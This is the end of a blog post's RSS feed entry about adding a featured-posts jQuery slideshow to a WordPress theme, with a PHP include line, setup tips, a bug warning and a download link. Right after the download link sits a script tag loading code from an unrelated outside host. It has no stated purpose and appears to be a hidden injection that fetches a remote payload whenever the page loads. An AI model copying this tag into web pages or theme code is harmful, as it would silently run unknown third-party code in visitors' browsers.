<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'featured_posts_slideshow.php'</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span> &lt;!--Adds Featured Posts --&gt;</pre></div></div>

<p>At the bottom of my header.php to make it work across every page. Also now would be a good time to check if you have Cycle and jquery_script.js in your theme directory and is the wp_enqueue-script calls are correct and placed above the wp_head(); line in your header.php</p>
<p>If you have any questions leave a comment and I&#8217;ll help you out.</p>
<p>This also has some bugs. If the number of posts in your &#8220;featured&#8221; category isn&#8217;t evenly divisible by 3 the whole thing will come crashing to a halt.</p>
<p><a class="download" href="http://www.upsidedowncity.net/wp-content/uploads/2008/10/udc_wordpress_featured_post_slideshow.zip">Includes featued_posts_slideshow.php, CSS, Images and JQuery.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/wordpress-featured-post-slideshow/feed/</wfw:commentRss>
		<slash:comments>54</slash:comments>
		</item>
	</channel>
</rss>
